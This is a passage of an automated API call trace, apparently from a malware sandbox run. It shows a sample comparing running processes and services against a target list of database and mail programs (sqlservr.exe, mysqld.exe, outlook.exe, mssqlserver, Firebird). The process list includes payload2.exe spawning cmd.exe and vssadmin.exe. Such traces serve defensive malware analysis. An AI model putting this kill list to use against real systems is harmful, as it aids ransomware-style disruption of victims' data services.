(lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0266.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0266.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0266.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0266.518] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.518] lstrlenW (lpString="svchost.exe") returned 11 [0266.518] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.518] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.518] lstrlenW (lpString="svchost.exe") returned 11 [0266.518] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.519] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.519] lstrlenW (lpString="svchost.exe") returned 11 [0266.519] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.519] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.519] lstrlenW (lpString="svchost.exe") returned 11 [0266.519] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.519] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.519] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.520] lstrlenW (lpString="svchost.exe") returned 11 [0266.520] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.520] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.520] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.520] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.521] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.521] lstrlenW (lpString="audiodg.exe") returned 11 [0266.521] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0266.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0266.521] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0266.521] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0266.521] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0266.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0266.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0266.521] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.521] lstrlenW (lpString="svchost.exe") returned 11 [0266.521] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.521] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.522] lstrlenW (lpString="svchost.exe") returned 11 [0266.522] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0266.522] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0266.522] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0266.522] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0266.522] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0266.522] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0266.522] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0266.522] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0266.522] lstrlenW (lpString="userinit.exe") returned 12 [0266.522] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.522] lstrlenW (lpString="dwm.exe") returned 7 [0266.523] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.523] lstrlenW (lpString="explorer.exe") returned 12 [0266.523] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.523] lstrlenW (lpString="spoolsv.exe") returned 11 [0266.523] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.523] lstrlenW (lpString="taskhost.exe") returned 12 [0266.523] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.523] lstrlenW (lpString="svchost.exe") returned 11 [0266.524] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0266.524] lstrlenW (lpString="payload2.exe") returned 12 [0266.524] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0266.524] lstrlenW (lpString="reader_sl.exe") returned 13 [0266.524] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.524] lstrlenW (lpString="dllhost.exe") returned 11 [0266.524] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x564, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0266.524] lstrlenW (lpString="cmd.exe") returned 7 [0266.524] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0266.525] lstrlenW (lpString="conhost.exe") returned 11 [0266.525] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0266.525] lstrlenW (lpString="vssadmin.exe") returned 12 [0266.525] Process32NextW (in: hSnapshot=0x168, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0266.525] CloseHandle (hObject=0x168) returned 1 [0266.525] Sleep (dwMilliseconds=0x1f4) [0267.182] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x420a328 [0267.188] EnumServicesStatusExW (in: hSCManager=0x420a328, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0267.188] GetLastError () returned 0xea [0267.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa64) returned 0x422e570 [0267.188] EnumServicesStatusExW (in: hSCManager=0x420a328, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x422e570, cbBufSize=0xa64, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x422e570, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0267.188] CloseServiceHandle (hSCObject=0x420a328) returned 1 [0267.188] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.188] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.188] lstrlenW (lpString="AudioSrv") returned 8 [0267.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0267.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0267.189] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0267.189] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0267.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0267.189] lstrlenW (lpString="BFE") returned 3 [0267.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.189] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.189] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.189] lstrlenW (lpString="CscService") returned 10 [0267.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0267.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0267.189] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0267.189] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0267.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0267.189] lstrlenW (lpString="DcomLaunch") returned 10 [0267.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.189] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.189] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.189] lstrlenW (lpString="Dhcp") returned 4 [0267.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.189] lstrlenW (lpString="Dnscache") returned 8 [0267.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.190] lstrlenW (lpString="eventlog") returned 8 [0267.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0267.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0267.190] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0267.190] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0267.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0267.190] lstrlenW (lpString="EventSystem") returned 11 [0267.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.190] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.190] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.190] lstrlenW (lpString="gpsvc") returned 5 [0267.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.190] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.190] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.190] lstrlenW (lpString="lmhosts") returned 7 [0267.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.190] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.190] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.190] lstrlenW (lpString="MMCSS") returned 5 [0267.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0267.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0267.190] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0267.191] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0267.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0267.191] lstrlenW (lpString="MpsSvc") returned 6 [0267.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.191] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.191] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.192] lstrlenW (lpString="nsi") returned 3 [0267.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.192] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.192] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.192] lstrlenW (lpString="PlugPlay") returned 8 [0267.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.192] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.192] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.192] lstrlenW (lpString="Power") returned 5 [0267.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.192] lstrlenW (lpString="ProfSvc") returned 7 [0267.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.192] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.192] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.192] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.192] lstrlenW (lpString="RpcSs") returned 5 [0267.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.193] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.193] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.193] lstrlenW (lpString="SamSs") returned 5 [0267.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.193] lstrlenW (lpString="Schedule") returned 8 [0267.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.193] lstrlenW (lpString="SENS") returned 4 [0267.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.193] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.193] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.193] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.193] lstrlenW (lpString="Spooler") returned 7 [0267.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.193] lstrlenW (lpString="Themes") returned 6 [0267.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.194] lstrlenW (lpString="UxSms") returned 5 [0267.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0267.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0267.194] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0267.194] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0267.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0267.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x422e570 | out: hHeap=0x2a0000) returned 1 [0267.194] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0267.195] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.195] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 